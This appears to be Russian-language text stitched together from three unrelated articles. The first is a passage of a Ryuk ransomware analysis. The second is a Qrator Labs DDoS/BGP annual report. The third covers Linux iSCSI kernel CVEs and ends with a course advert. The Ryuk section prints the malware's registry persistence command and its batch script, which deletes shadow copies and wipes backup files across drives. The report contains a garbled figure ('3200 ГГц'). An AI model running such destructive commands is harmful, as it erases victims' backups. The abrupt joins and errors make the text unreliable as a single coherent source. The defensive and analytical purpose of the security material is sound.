Для доставки в целевую сеть Ryuk использует множество вариантов. В числе наиболее частых распространение с помощью других вредоносных программ. В 2019 году это были в основном Trickbot и Emotet, в 2020-м операторы Ryuk стали использовать в качестве дроппера BazarLoader, новую разработку авторов TrickBot. Как и TrickBot, BazarLoader распространяется в основном через фишинговые письма, которые содержат либо вредоносные вложения, либо ссылки на вредоносные программы и сайты, размещённые на бесплатных хостингах. Эти фишинговые письма использовали обычные методы социальной инженерии, маскируясь под деловую переписку или другие важные сообщения. В одной из таких кампаний письмо якобы содержало важную информацию о заболевшем COVID-19 президенте США Д. Трампе:

Источник: Threat Insight

Если жертва нажимала на ссылку, чтобы посмотреть документ о здоровье Трампа, она видела страницу Документов Google, на которой сообщалось, что документ проверен и безопасен:

Источник: Bleeping Computer

Вместо документа на компьютер жертвы загружался BazarLoader, который, получив управление, скачивал с управляющего сервера Ryuk и запускал его.

Подразделения Trend Micro предоставляющие услуги по обнаружению и реагированию на угрозы (Managed Detection and Response, MDR) также зафиксировали случаи распространения Ryuk и Trickbot внутри организации с помощью скомпрометированных маршрутизаторов MikroTik. Предположительно злоумышленники использовали RCE-уязвимости MikroTik CVE-2018-1156 иCVE-2018-14847. Цепочка заражения начиналась с вредоносного спама, содержавшего загрузчик для TrickBot, который после загрузки распространялся внутри сети через SMB-эксплойт EternalBlue и через собранные учётные данные сотрудников. Затем Trickbot связывался со скомпрометированным интернет-маршрутизатором MikroTik, который использовался в качестве управляющего сервера.

В другом зафиксированном случае злоумышленники развернули Ryuk внутри сети, используя похищенные учётные данные администратора компании. При этом они:

• отключили антивирусы и другие защитные системы;

• загрузили в систему дроппер;

• скачали с его помощью Ryuk и зашифровали несколько серверов.

Примечательно, что полноценное выявление векторов заражения Ryuk в большинстве случаев затруднено или невозможно, поскольку программа-вымогатель, как правило, удаляет все следы своего дроппера после завершения шифрования.

Перемещение по сети

Для перемещения по сети злоумышленники в большинстве случаев активно использовали Powershell и эксплуатировали уязвимости EternalBlue и Zerologon.

В начале работы вымогатель убивает более 40 процессов и останавливает более 180служб с помощью taskskill и net stop. Эти службы и процессы в основном принадлежат антивирусам, базам данных и ПО для резервного копирования.

Чтобы получать управление после перезагрузки, Ryuk добавляет себя в ключ реестра Run с помощью команды: reg add /C REG ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "svchos" /t REG_SZ/d".

Шифрование

Вымогатель использует относительно простую трёхуровневую схему для шифрования файлов жертвы:

• Первый уровень: глобальная пара ключей RSA, которая хранится у злоумышленников и никогда не попадает к жертвам.

• Второй уровень: пара ключей RSA, которая генерируется для каждой жертвы. После генерации приватный ключ шифруется с помощью глобального ключа первого уровня и внедряется в конкретный экземпляр вымогателя.

• Третий уровень: стандартный симметричный ключ шифрования AES, генерируемый с помощью Win32API-функции CryptGenKey для каждого шифруемого файла. Этот ключ экспортируется с помощью CryptExportKey и шифруется при этом с помощью RSA-ключа второго уровня, а зашифрованный результат добавляется к зашифрованному файлу. Удивительно, что разработчики Ryuk изучили документацию по функции CryptExportKey и использовали ключ второго уровня в качестве параметра hExpKey, чтобы выдать на экспорт уже зашифрованный AES-ключ. Большинство программ-вымогателей экспортируют ключ AES в чистом виде и лишь потом шифруют его с помощью CryptEncrypt.

Закончив с подготовкой криптоарсенала, вымогатель выполняет рекурсивный обход всех дисков и сетевых ресурсов в системе-жертве и шифрует каждый файл и каталог за исключением содержащих в имени текст из жёсткого белого списка, который включает в себя Windows, Mozilla, Chrome, RecycleBin и Ahnlab.

Помимо локальных дисков, Ryuk пытается зашифровать сетевые ресурсы без назначенных букв, формируя их список с помощью функций WnetOpenEnum/WnetEnumResource.

Завершив своё чёрное дело, Ryuk уничтожает ключ шифрования, запускает скрипт windows.bat, который удаляет теневые копии и бэкапы, и размещает вымогательскую записку RyukReadMe.txt с требованиями выкупа.

Содержимое пакетного файла показано ниже:

vssadmin Delete Shadows /all /quiet

vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB

vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded

vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB

vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded

vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB

vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded

vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB

vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded

vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB

vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded

vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB

vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded

vssadmin Delete Shadows /all /quiet

del /s /f /q c:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*.* c:\*.set c:\*.win c:\*.dsk

del /s /f /q d:\*.VHD d:\*.bac d:\*.bak d:\*.wbcat d:\*.bkf d:\Backup*.* d:\backup*.* d:\*.set d:\*.win d:\*.dsk

del /s /f /q e:\*.VHD e:\*.bac e:\*.bak e:\*.wbcat e:\*.bkf e:\Backup*.* e:\backup*.* e:\*.set e:\*.win e:\*.dsk

del /s /f /q f:\*.VHD f:\*.bac f:\*.bak f:\*.wbcat f:\*.bkf f:\Backup*.* f:\backup*.* f:\*.set f:\*.win f:\*.dsk

del /s /f /q g:\*.VHD g:\*.bac g:\*.bak g:\*.wbcat g:\*.bkf g:\Backup*.* g:\backup*.* g:\*.set g:\*.win g:\*.dsk

del /s /f /q h:\*.VHD h:\*.bac h:\*.bak h:\*.wbcat h:\*.bkf h:\Backup*.* h:\backup*.* h:\*.set h:\*.win h:\*.dsk

del %0

Любопытно, что эти команды не только затрудняют восстановление файлов, но и препятствуют работе киберкриминалистов, используя недокументированную возможность команды vssadmin resize.

Команда vssadmin Delete Shadows /all /quiet обычно используется ransomwareом, в то время как опция команды vssadmin resize shadowstorage используется редко. В ситуациях, когда теневые копии создавались не vssadmin, а сторонними приложениями (например, ПО для резервного копирования), vssadmin может отображать ошибку и не удалять резервные копии.

Команда vssadmin resize shadowstorage это хак, который использует vssadmin для удаления хранилища при изменении размера теневых копий. Она заставляет удалять теневые копии независимо от их контекста. Команда работает путём изменения размера теневого тома по умолчанию с 10% до 401MБ (минимальный размер 300 MБ). Затем теневое хранилище становится неограниченным, что позволяет ему использовать всё доступное дисковое пространство. После этого теневые копии удаляются второй раз с помощью команды vssadmin Delete Shadows /all /quiet.

Требования выкупа

Мы встретили несколько вариантов записок с требованиями о выкупе. По большей части основное содержимое не меняется за исключением адреса электронной почты и адреса кошелька Bitcoin. Адреса электронной почты обычно содержат один адрес на protonmail.com и другой адрес на tutanota.com. В качестве имён ящиков электронной почты обычно используются персонажи сказок, писатели и модели из Instagram. Один из вариантов вымогательской записки удивительно похоже на записку BitPaymer:

Размер выкупа, который злоумышленники используют в записках, варьируется от1,7до99BTC и выше. Один из крупнейших переводов на кошельки вымогателей составил 365BTC, что составляет более 18млндолларов США по текущему курсу (50124 доллара США за 1BTC).

Монетизация выкупа

Для получения выкупа от жертв операторы Ryuk используют несколько десятков биткоин-кошельков. Большая часть выкупов поступает от известного криптоброкера, который производит выплаты от жертв шифровальщиков.

Криптовалюта, аккумулированная на счетах преступников, направляется специальным сервисам по отмыванию денег, а затем разделяется на две части: одна используется для оплаты криминальных услуг на подпольных площадках, вторая обналичиваются на криптовалютных биржах. Удивительным является тот факт, что операторы Ryuk без малейших опасений используют для выхода в кэш вполне легальные биржи типа Binance и Huobi, хотя и используют для этого ворованные личности. Однако чаще преступники выбирают для обналички мелкие обменники.

По данным ФБР, только в период с февраля 2018 по октябрь 2019 операторы Ryuk заработали более 61млндолларов США и уже тогда занимали первое место по доходности среди других вымогателей.

Резюме

Вымогательское ПО представляет большую опасность, поскольку сверхдоходы его операторов обеспечивают им возможность подобрать в команду высококвалифицированных участников для проведения самых изощрённых операций. Учитывая этот факт, для надёжной защиты следует использовать максимально эффективные меры, наиболее важными среди которых мы считаем следующие:

• Повышайте киберграмотность сотрудников, чтобы исключить фишинг как возможный вектор проникновения преступников в систему. На сегодняшний день именно фишинг является средством для получения учётных данных сотрудников и внедрения вредоносного ПО в корпоративные сети.

• Обновите контроллеры домена, чтобы защитить их от использования Zerologon, который используется для получения доступа на уровне домена.

• Рассмотрите возможность полного отключения административных ресурсов или блокирования доступа через брандмауэры, поскольку Ryuk пытается шифровать файлы с помощью административных ресурсов Windows (C$ит.п.).

• Отключите PowerShell с помощью групповой политики, поскольку это добавит ещё один уровень защиты, учитывая широкое использование PowerShell в атаках вредоносного ПО в сети.

• Всегда регулярно создавайте резервные копии всех данных, чтобы обеспечить доступ к ним даже в случае успешной атаки вымогателя.

• Подумайте о том, чтобы сделать файлы доступными только для чтения большинству пользователей, если только им не требуется разрешение на чтение/запись. Переводите файлы на сетевых ресурсах старше определённого периода (в идеале от трёх до шести месяцев) в режим только чтение.

Краткое содержание

• К 2021 году сеть фильтрации Qrator Labs расширилась до 14 центров очистки трафика общей пропускной способностью в 3 Тбит/с с точкой присутствия в Сан-Паулу, Бразилия, вводящейся в эксплуатацию в начале 2021 г.

• Новые сервисы, предоставляемые партнерами компании (SolidWall WAF и RuGeeks CDN) за 2020 год были полностью интегрированы в инфраструктуру Qrator Labs и личный кабинет.

• Улучшенная логика фильтрации позволяет Qrator Labs удовлетворить потребности даже самых крупных заказчиков с глобально распределенной инфраструктурой, обеспечивая полное покрытие услуг кибербезопасности и нейтрализации DDoS-атак.

• Qrator Labs активно использует новейшие процессоры AMD для задач, связанных с обработкой трафика.

За 2020 год количество DDoS-атак лишь увеличилось, самые опасные можно описать просто: короткие и обескураживающе интенсивные.

Тем не менее, инциденты BGP оставались той областью, в которой очевидна необходимость изменений, так как количество серьёзных инцидентов, таких как перехваты трафика и утечки маршрутов, оставалось высоким в течение всех последних лет и 2020 не был исключением.

В 2020 году компания Qrator Labs начала предоставлять услуги в Сингапуре в рамках нового партнерства, а также запустила центр очистки трафика в Дубае, где находится укомплектованный профессионалами офис, готовый отвечать на любые запросы потребителей в регионе.

Вторая декада Qrator Labs

С началом 2021 года Qrator Labs отметила собственное десятилетие. Некоторым коллегам, работающим в компании с самого начала, было сложно поверить, что прошло уже столько времени.

Немного о том, чего компания достигла за эти 10 лет:

• От 1 до 14 центров очистки трафика на 4 континентах, островах Сингапура и Японии, а также Аравийском полуострове;

• В начале 2021 года сеть фильтрации Qrator приближается к 3 Tbps кумулятивной емкости, используемой для нейтрализации DDoS-атак;

• С 7 до 70 сотрудников в одиннадцати городах;

• Тысячи спасённых клиентов. Буквально.

И все это без каких-либо сторонних инвестиций! Десять лет мы следовали пути самодостаточности в росте и развитии компании. Конечно, не принимая во внимание усилия каждого вовлеченного все эти годы.

Мы все еще пытаемся выдерживать основные ценности: открытость, профессионализм, научный подход и клиентоориентированность. Несмотря на обилие бизнес-задач перед компанией, наверное, большинство коллег до сих пор предпочтут погрузиться в техническую или математическую задачу необычайной сложности такую, что точно не была решена к текущему моменту. С ограниченными ресурсами мы вынуждены оставаться сфокусированными на первостепенных областях, которые никак не изменились: мир BGP-маршрутизации и нейтрализация DDoS-атак.

2021 год начался взрывным образом с DDoS-атаки интенсивностью 750 Гбит/с, состоящей в основном из DNS-амплифицированного трафика. Этот вектор атак является одним из старейших и наиболее изученных, что не мешает ему сеять хаос с огромной эффективностью.

Улучшения логики фильтрации

В течение последних двух лет в Qrator Labs приложили множество усилий для обновления логики фильтрация трафика, лежащей в основе услуги нейтрализации DDoS-атак. В итоге, в зависимости от параметров конкретного трафика и задач, нам удалось повысить общую эффективность в 4-8 раз, при этом используя на 25-33% меньше оперативной памяти. Это означает, что теперь мы можем принимать на борт еще больше легитимного трафика, а также работать с крупнейшими потенциальными клиентами в мире.

Мы значительно обновили детектор атак алгоритм, призванный подтвердить наличие атаки. Теперь у нас есть более широкий набор параметров, доступных пользователю для выбора, каждый из которых может служить источником для наполнения черного списка. Это позволяет нам нейтрализовать атаки ближе к уровню L7 модели OSI, по сравнению с L3-L4.

Ещё одно нововведение это брокер запросов. Он позволяет упростить процесс адаптации WAF потенциальным пользователем. Мы улучшили процессы взаимодействия с различными Web Application Firewall продуктами в сети фильтрации Qrator, реализовав асинхронную схему принятия решений по сомнительным, а значит потенциально вредоносным запросам.

В 2020 году в сети фильтрации Qrator также была реализована поддержка Proxy Protocol. Этот протокол облегчает подключение и дальнейшую нейтрализацию DDoS-атак для приложений, использующих, например, WebSockets. Помимо упрощения подключения прокси-сервера к сети Qrator, такого как HAproxy или NGINX, Proxy Protocol упрощает настройку любого решения, работающего поверх TCP, позволяя легко установить под защиту сети фильтрации Qrator любой ресурс, поддерживающий его.

AMD внутри Qrator Labs

По нашему мнению, новые процессоры AMD отлично подошли к аппаратной архитектуре сети Qrator. Уникальная характеристика ЦПУ AMD иерархическое разделение ядер на кристалле вполне эффективна для задач, решаемых в Qrator Labs. Блоки ядер с раздельными контроллерами памяти представляют собой отдельную задачу с точки зрения корректной настройки, потому что мы меняем то, каким образом операционная система видит ядра центрального процессора. Огромное преимущество новых процессоров AMD заключается в том, что теперь мы в Qrator Labs можем построить однопроцессорную серверную машину с мощностью большей, чем у старой двухпроцессорной установки. С одной сетевой картой внутри каждой машины, подключенной с помощью PCIe, два процессора вносят большую сложность в задачу изначального разделения нагрузки, в дополнение к задержке переключения между ними. Замена двух ЦПУ одним решает эту задачу, оставляя необходимость настраивать только ядерную (иерархическую) архитектуру в одном процессоре, что значительно легче.

У процессора AMD обнаружилась еще одна интересная особенность. Используемая нами модель поддерживает работу с памятью на частоте 3200 ГГц. Когда мы начали тестировать упомянутый ЦПУ, то обнаружили, что, хотя формально контроллер памяти и допускает рабочие нагрузки на частоте 3200 ГГц, но внутрипроцессорная шина, соединяющая ядра, работает на частоте ниже. Фактически это означает, что если мы используем тактовую частоту процессора 3200 ГГц, пропускная способность снижается из-за низшей частоты контроллера памяти. Приложение, которое выиграет от этой особенности, должно быть исключительно однопоточным и работать только с одним каналом памяти.

В завершение данного раздела хочется отметить, что сейчас мы используем процессоры AMD на всех новых точках присутствиях, в том числе по соображениям экономической эффективности.

Интеграция партнерских технологий

В течение прошедшего года мы интегрировали новые партнерские технологии в структуру сети фильтрации Qrator.

Новый WAF от SolidWall теперь представлен в составе услуг Qrator Labs. SolidWall WAF интегрирован в панель управления Qrator, что позволяет клиентам полностью управлять всеми настройками межсетевого экрана в одном месте, вместе с другими услугами Qrator Labs.

Другая новинка это CDN-сервис от RuGeeks, стал доступен всем клиентам Qrator Labs после периода интеграции и обширного тестирования.

Личный кабинет клиента претерпел значительные изменения и обновления в течение 2020 года. Мы приложили много усилий, чтобы предоставить нашим пользователям как можно больше параметров настройки для эффективного управления услугами для ресурсов под защитой Qrator.

Фильтрация IPv6-трафика

По данным компании Google, к концу 2020 года глобальное внедрение IPv6 превысило 30%. Сейчас протокол находится на решающим этапе и будет либо всеобще принят, либо так и останется лишь частичной заменой IPv4. Мы считаем, что за IPv6 будущее сетей, поэтому в течение последних нескольких лет наша команда инвестировала время и усилия в полную поддержку 6-й версии протокола IP в сети Qrator.

Одна из важных задач сетевой инженерии, решаемая в Qrator Labs это поиск тяжелых элементов в потоке. На самом деле подразумеваются наиболее интенсивные подпотоки, но в академической англоязычной литературе термин heavy hitters уже устоялся, потому и в русском языке мы говорим о задаче поиска "тяжелых" элементов. Для начала стоит объяснить, почему мы решаем конкретно эту задачу: наша основная цель как компании, предоставляющей нейтрализацию DDoS-атак, доставлять легитимный и очищенный трафик его владельцу, одновременно отсекая вредоносный и нелегитимный трафик.

В случае IPv4-трафика мы можем решить задачу без поиска самого тяжелого элемента достаточно проанализировать весь поток до цели, чтобы определить "вес" каждого отдельного отправителя.

С IPv6 ситуация совершенно иная.

"Сохранение в памяти полного пула IPv6-адресов потребовало бы огромного ее объема. Если на хранение каждого IPv6-адреса выделять по одному биту памяти, то потребуется примерно 2^128 бит для всего пула IPv6-адресов. Это больше, чем количество атомов на Земле.

Если же на хранение целого префикса /64 брать по одному биту памяти, то для всего адресного пространства IPv6 уже потребовалось бы всего лишь 2^64 бит памяти. Это число не настолько астрономическое по сравнению с предыдущим, и его можно сравнить со всей произведенной до настоящего момента оперативной памятью всех устройств в мире."

Рассматривая задачу в IPv6, с самого начала нетрудно заметить, что количество возможных источников пакетов может быть невообразимо велико. То же самое с их потенциальными адресами назначения.

Поскольку специализацией Qrator Labs является поддержание необходимого уровня доступности сервиса потребителя, задачу можно рассматривать как поддержание определенного порога интенсивности как с точки зрения количества пакетов в единицу времени, так и канальной емкости, которую заказчик в состоянии принять и обработать. Мы не можем пропустить трафик, превышающий данные ограничения, так как это скорее всего приведет к пагубным для потребителя услуги последствиям.

Принимая во внимание все вышеизложенное, мы можем правильно переопределить решаемую задачу. Становится ясно, что основная цель состоит именно в том, чтобы быстро и легко (значит дешево с точки зрения используемых ресурсов) выделить те элементы в потоке, которые следует отбросить для того, чтобы оставаться в требуемых пределах. Для достижения высочайших стандартов качества мы разрабатываем нашу систему так, чтобы минимизировать ошибочные блокировки легитимных пользователей во время продолжающейся DDoS-атаки.

Мы решаем эту задачу с помощью нескольких инструментов, так как одного способа недостаточно. Это позволяет нам переключаться между отдельными инструментами или использовать их все вместе в случае необходимости. Наш подход заключается в комбинации алгоритмов и методов, которые ограничивают либо скорость передачи пакетов (pps), либо пропускную полосу от отдельного источника (bps).

А поскольку IPv6 не допускает сведения задачи к понятиям черного и белого списка, задача оказывается действительно интересной.

Изучая соответствующую литературу по теме, мы встретим большое количество исследований по разнообразным алгоритмам, таким как "поиск тяжелых элементов" в потоке событий. Но ограничение скорости передачи пакетов и/или пропускной полосы гораздо более широкая задача, вот почему мы вводим понятия "порога" и его "превышения" или "удержания". При этом мы хотим максимизировать собственный параметр качества сервиса, чтобы обеспечить наименьшее количество ложноположительных срабатываний.

Qrator Labs разработала полномасштабный симулятор для тестирования среды в IPv6. Он генерирует потоки трафика, позволяя применять различные комбинации алгоритмов фильтрации и измерения результатов и качества их работы. Со временем, когда симулятор будет готов с нашей точки зрения, мы планируем сделать его код общедоступным.

Мы также работаем над улучшением базового кирпичика нашей системы счетчика интенсивности трафика. Назначение такого счетчика подсчитывать каждое элементарное событие, например, получение сетевого пакета, так чтобы в любой момент, глядя на значение счетчика, можно было судить об интенсивности потока событий. Для некоторых типов потоков понятие интенсивность возникает естественным образом. Мы называем такие потоки статическими. В общем же случае поток является существенно динамическим, измерить его интенсивность или хотя бы формально определить, что это такое, становится затруднительно.

"Проблема простейшего инкрементирующего счетчика заключается в том, что исторические (сохраненные в прошлом) данные влияют на текущее наблюдение. В случае если что-то происходит прямо сейчас, вы не можете отделить старые данные от более свежих, лишь взглянув на значение счетчика".

Чтобы успешно решить эту нетривиальную задачу, нам пришлось экспериментировать с разными типами счетчиков, которые позволяют учитывать недавние события с большим весом, чем те, которые произошли давно, и стали малоинтересными.

Другая проблема, связанная со счетчиками, ресурсная. Для наших задач требуется огромное количество счетчиков, чтобы из всего потока уметь выделять подпотоки и измерять их интенсивность. Много счетчиков много памяти. Мы пытаемся экономить память, уменьшая количество бит, выделенных на счетчик. Это не просто, но возможно.

Приложив большие усилия, мы создали стройную теорию, которую теперь имплементируем на практике. Она позволяет использовать счетчики разных типов с разной архитектурой для измерения "интенсивности". В общем случае не существует точного математического определения "интенсивности" это момент, который стоит еще раз повторить, чтобы понять, почему мы проводим такие обширные исследования по данной теме. Вот почему нам необходимо оценить работу счетчиков разных типов, чтобы определить, какой из них лучше всего подходит для конкретной ситуации. Ведь в конечном итоге цель состоит не в том, чтобы создать наиболее точный счетчик, а в том, чтобы обеспечить максимальное качество обслуживания с точки зрения нейтрализации DDoS-атак и общей доступности защищаемого сетевого ресурса.

Статистика и дальнейший анализ данных по DDoS-атакам

Медианная продолжительность DDoS-атаки составляет около 5 минут, что не сильно изменилось с тех пор, как мы изменили методологию подсчета и разделения атак. DDoS-атака с DNS-амплификацией, которую мы нейтрализовали в феврале 2021 года, длилась 4 минуты.

Распределение векторов DDoS-атак демонстрирует преобладание атак на основе UDP-флуда в 2020 году, составляя 40,1% от всех наблюдавшихся атак. На втором месте стоит IP-флуд с 38,15%, а SYN-флуд замыкает тройку наиболее популярных векторов по L3-атакам с 16,23% за 2020 год.

График пропускной способности отдельных векторов атак иллюстрирует различия между ними и показывает, что IP-флуд начинается с самого высокого уровня начальной интенсивности, по сравнению с остальными векторами, со средним уровнем атаки выше 1 Гбит/с.

Сравнение пакетной интенсивности векторов атак демонстрирует, что DDoS-атаки на основе UDP-флуда могут начинаться с самых низких уровней возможной скорости передачи пакетов, а TCP-флуд обладает противоположной характеристикой. Их медианные уровни pps составляют 113,5 тысяч и 1,2 млн соответственно.

А вот иллюстрация комбинаций векторов атаки:

Как видите, в реальном мире DDoS-атак основные векторы смешиваются мало и, по большей части, остаются "чистыми"от комбинаций. Так UDP-флуд и IP-флуд преобладают среди всех DDoS-атак 2020 года.

Погружение в BGP

Количество открытых портов BGP и циклов маршрутизации BGP оставалось высоким на протяжении последних 5 лет. Судя по статистике за прошедший год, эта конкретная проблема не беспокоит большинство интернет-провайдеров, управляющих автономной системой.

Иначе обстоит ситуация с перехватами трафика и утечками маршрутов. В отчете, который мыпубликовали в мае 2020 по первому кварталу прошлого года, мы указали на статистику утечек маршрутов BGP:

Январь 2020: 1
Февраль 2020: 4
Марта 2020: 6
Апрель 2020: 6 +1 в IPv6

Теперь мы можем взглянуть на цифры за 4 квартал 2020 года с дополнительными данными по январю 2021 по тем же утечкам маршрутов:

Обратите внимание, что мы учитываем в данной статистике только такие инциденты, которые команда Qrator.Radar считает глобальными то есть превышающими определенные пороговые значения. Сравнивая данные 4-го квартала с 1-м кварталом 2020 года, создается впечатление, что наблюдается некоторое снижение абсолютного числа инцидентов, связанных с утечкой маршрутов. Что будет справедливо только при условии, что мы примем как факт то, что все инциденты имеют одинаковый размер. На практике же это совершенно противоположно как и всегда, более крупные сети способны быстрее и сильнее влиять на клиентов и соседей. Фактически же это означает, что шансов на изменение ситуации с утечками маршрутов не так много, пока у нас не будет рабочего решения для полного их предотвращения. Мы надеемся, чтоASPAивсе связанныес данным нововведением черновики, рассматриваемые внутри IETF, будут приняты и получат RFC статус в ближайшем будущем.

PDF-версия отчетадоступна для скачивания по ссылке.

12 марта исследователи кибербезопасности GRIMM опубликовали информацию о трёх интересных багах в ядре Linux. В коде, который игнорировали около 15 лет. К счастью, кажется, всё это время никто не присматривался к коду; по крайней мере, не так усердно, чтобы заметить ошибки. CVE из списка ниже уже исправлены.

• CVE-2021-27365. Переполнение буфера динамической памяти из-за sprintf().

• CVE-2021-27363. Утечка адреса ядра из-за указателя в качестве уникального ID.

• CVE-2021-27364. Чтение памяти за пределами буфера, приводящее к утечке данных или к панике ядра.

Найденные баги затрагивают iSCSI: компонент, ответственный за почтенный интерфейс данных SCSI в смысле сети: через него вы можете вести коммуникацию с устройством SCSI, например с лентой или дисковым накопителем, которые не подключены к компьютеру напрямую.

Если iSCSI и SCSI в вашей сети уже нет, вы, наверное, пожимаете плечами и думаете: Не беспокойтесь, в моём ядре нет ни одного драйвера iSCSI: я просто не пользуюсь ими.

В конце концов, код ядра с уязвимостями нельзя эксплуатировать, когда он просто лежит на диске до того, как этот код станет проблемой, он должен загрузиться в память и активно действовать в системе.

За исключением, конечно, того, что большинство (или, по крайней мере, многие) системы Linux поставляются с сотнями и даже тысячами модулями ядра в папке lib/modules; они готовы к использованию, когда понадобится, и даже сконфигурированы так, чтобы авторизованные приложения по требованию могли запускать загрузку модуля.

Примечание: насколько нам известно, эти баги исправлены в следующих официально поддерживаемых ядрах Linux, датированных 7 марта 2021 года: 5.11.4, 5.10.21, 5.4.103, 4.19.179, 4.1.4.224, 4.9.260, 4.4.260. Если ваше ядро изменено вендором, оно неофициальное, или его нет в этом списке, проконсультируйтесь с разработчиком своего ядра. Чтобы проверить версию ядра, выполните в терминале uname -r

Мой Linux поставлялся с около 4500 модулями ядра просто на всякий случай:

   root@slack:/lib/modules/5.10.23# find . -name '*.ko'   ./kernel/arch/x86/crypto/aegis128-aesni.ko   ./kernel/arch/x86/crypto/blake2s-x86_64.ko   ./kernel/arch/x86/crypto/blowfish-x86_64.ko   [...4472 lines deleted...]   ./kernel/sound/usb/usx2y/snd-usb-usx2y.ko   ./kernel/sound/x86/snd-hdmi-lpe-audio.ko   ./kernel/virt/lib/irqbypass.ko     #

И, хотя я действительно не возражал бы против крутой звуковой карты Tascam Ux2y (например, US122, US224, US428), у меня нет в ней необходимости или места для неё, поэтому сомневаюсь, что мне когда-нибудь понадобится любой драйвер snd-usb-usx2y.ko.

Тем не менее, ненужные драйверы есть, и, случайно или преднамеренно, какой-то может загрузиться автоматически, в зависимости от используемого по случаю ПО, даже если я не под рутом.

Неплохо посмотреть дважды

Исходящий от бесполезных, а в большинстве случаев упущенных из виду драйверов риск заставил GRIMM дважды обратить внимание на ошибки. Исследователи нашли ПО, при помощи которого непривилегированный злоумышленник может активировать забагованный код драйвера, и добиться таких результатов:

• Эскалация привилегий, то есть они дали обычному пользователю привилегии уровня ядра.

• Извлечение адресов памяти ядра, чтобы облегчить другие атаки, подразумевающие владение информацией о том, куда загружается ядро.

• Сбой ядра, а значит, и всей системы.

• Считывание фрагментов данных из памяти ядра, когда предполагается, что они недосягаемы.

Каким бы неопределённым и ограниченным ни был последний эксплойт, похоже, непривилегированный пользователь сможет случайно подсмотреть реальные передаваемые через iSCSI данные. Теоретически это означает, что злоумышленник с непривилегированной учётной записью на сервере, где использовался iSCSI, в фоновом режиме может запустить невинную программу, которая компрометирует случайно выбранные в памяти привилегированные данные.

Даже фрагментированный и неструктурированный поток конфиденциальных данных, периодически похищаемый из привилегированного процесса (помните печально известную ошибку Heartbleed?), может раскрыть наши секреты. Не забывайте о том, насколько легко программы распознаёт и "наскребает" паттерны данных, пролетающие в RAM: номера кредитных карт, адреса электронной почты.

Посмотрим на баги внимательнее

Выше упоминалось, что первая ошибка вызвана применением sprintf(). Это функция языка Си, сокращение от formatted print into string форматированная печать в строку, так текстовое сообщение распечатывают в блок памяти, чтобы воспользоваться им позже. Посмотрим на этот код:

   char buf[64];      /* Reserve a 64-byte block of bytes           */   char *str = "42";  /* Actually has 3 bytes, thus: '4'  '2'  NUL  */                      /* Trailing zero auto-added:   0x34 0x32 0x00 */   sprintf(buf,"Answer is %s",str)

Он резервирует блок памяти buf, содержащий 12 символов "Answer is 42", за которым следует нулевой терминальный нулевой байт ASCII NUL, а в конце 64-байтового буфера 51 нетронутый байт.

Однако sprintf() опасна и не должна использоваться никогда: она не проверяет, достаточно ли распечатанным данным места в конечном блоке памяти. Выше, если строка в переменной str длиннее 54 байт, включая нулевой байт в конце, то вместе с текстом "Answer is" она не поместится в buf..

Хуже, когда текстовые данные str не имеют нулевого байта в конце: на C это знак остановки копирования строки, то есть вы можете случайно скопировать тысячи или даже миллионы байт памяти после str и копировать их до тех пор, пока не встретится нулевой байт, а к этому времени крах ядра случится почти наверняка.

Современный код не должен содержать функции Си, работающие с копиями памяти неограниченной длины. Используйте snprintf(): это форматированная строка максимум в N байт, а также работайте функциями семейства snprintf().

Не выдавайте свои адреса

Вторая ошибка возникла из-за использования адресов памяти в качестве уникальных идентификаторов.

Идея звучит хорошо: если нужно обозначить в коде ядра объект данных с ID без конфликтов с другими ID, можно воспользоваться числами 1, 2, 3 и так далее.

Но если вы хотите уникальный идентификатор, не конфликтующий с другими пронумерованными объектами в ядре, то можете подумать: Почему бы не использовать адрес памяти, в котором хранится мой объект: он, очевидно, уникален, учитывая, что два объекта не могут одновременно находиться в одном месте в RAM? (если только с использованием памяти уже не случился кризис).

Проблема в том, что, если ваш идентификатор объекта в какой-то момент виден вне ядра, например, чтобы на него могли ссылаться неавторизованные программы в так называемом пользовательском пространстве, получается, что вы просто выдаёте информацию о внутреннем расположении памяти ядра, а такого происходить не должно.

Современные ядра используют так называемое KASLR, сокращение от kernel address space layout randomisation (рандомизация адресного пространства ядра), специально для того, чтобы помешать непривилегированным пользователям выяснить структуру ядра.

Если вы когда-нибудь взламывали замки (это популярное, удивительно расслабляющее хобби среди хакеров и исследователей кибербезопасности: можно просто купить прозрачный замок и получать удовольствие), то поймёте, что всё становится проще, когда вы уже знаете механизм замка.

Аналогично, знание о том, что и где загружено внутри ядра, почти всегда упрощает эксплуатацию других ошибок, например переполнения буфера.

Что делать?

• Обновите ядро. Если вы полагаетесь на разработчика ядра, не забудьте установить последнее обновление. Выше смотрите версии ядра, в которых перечисленные уязвимости устранены.

• Не используйте проблемные функции Си. Избегайте всех функций, которые не отслеживают максимальный объём используемых данных. В выбранной вами операционной системы или IDE придерживайтесь функций, официально документированных как безопасные функции C-строк, работайте с безопасными функциями везде, где это возможно. Такой подход даёт больше шансов предотвратить переполнение буфера.

• Чтобы избежать сюрпризов, блокируйте загрузку модулей ядра. Если вы установите системную переменную Linux kernel.modules_disable=1 после того, как ваш сервер загрузился и корректно заработал, то не загрузятся никакие модули; ни случайно, ни по замыслу. Эта настройка отключается только при перезагрузке. Вот два варианта:

  sysctl -w kernel.modules_disable=1echo 1 > /proc/sys/kernel/modules_disable
  

• Поймите, какие модули ядра необходимы, и используйте только их. Можно собрать статическое ядро, скомпилировав только нужные модули, или создать пакет с ядром для своих серверов, при этом удалив все ненужные модули. При желании со статическим ядром загрузку модулей можно отключить полностью.

На нашем комплексном курсе Этичный хакер мы учим студентов искать уязвимости и поддерживать безопасность любых IT-систем. Если чувствуете в себе силы и склонность к сфере кибербезопасности приходите учиться. Будет сложно, но интересно!

Узнайте, как прокачаться в других специальностях или освоить их с нуля:

